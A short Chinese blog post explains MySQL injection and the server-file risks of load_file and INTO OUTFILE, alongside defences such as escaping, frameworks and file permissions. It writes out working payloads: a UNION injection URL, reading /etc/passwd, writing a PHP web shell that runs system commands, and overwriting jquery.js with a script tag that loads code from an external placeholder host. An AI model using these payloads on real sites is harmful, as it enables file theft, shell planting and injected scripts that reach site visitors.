mysql注入之系统操作系统文件

mysql注入最典型的的场景莫过于不对参数进行过滤,比如典型的语句,选择一个用户信息显示php代码:

$sql = "select * from  user where id={$_GET['id']}";

用户只需要在浏览器地址栏中网址后面的比如:id=23修改一下:

http://xxx.com/xxx?id=23 union all select * from user;

这就能筛选出所有用户了。

避免这类事情出现的方法自然是使用参数过滤,用数据库驱动接口中的mysql_real_escape_string可以解决这个问题。当然最稳妥的还是使用框架来写代码,框架已经对mysql注入进行了比较好的防范。但是,使用框架后一定要切记尽量不要评价sql语句,只要拼接,就要考虑注入问题。

这里要提出的是,mysql还有一个功能,它能加载文件显示,比如:

select load_file('/etc/passwd');

避免这个问题的方法自然是进行参数过滤。

 

它还能写入文件,比如:

select '<?php system(\'cat /etc/passwd\'); ?>' into outfile '/data/web/www/command.php';

这样,用户就可以从网址输入command.php访问页面,从而达到查看linux系统中用户信息的目的。当然,利用这个方式还可以给网站各个js注入代码。

避免这个问题产生的方法除了参数过滤以外,还可以让mysql运行在mysql用户下,网站文件则用apache用户或www用户等,并且不要简单的把所有文件权限设置为777。

windows用户就比较惨了,如果原生方法写代码,又不对参数进行过滤,那么往网站js中注入代码就是很简单的事情,比如:

select '<script src=\'http://xxxx.xxx.com/xxx.js\'>' into outfile 'D:\\web\\www\\htdocs\\js\\jquery.js';

这个语句将给jquery.js注入危险的js代码。当然还可以写一个php文件,然后执行它,这个文件则是想做什么都可以了,反正php文件是可以操作服务器文件的。

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值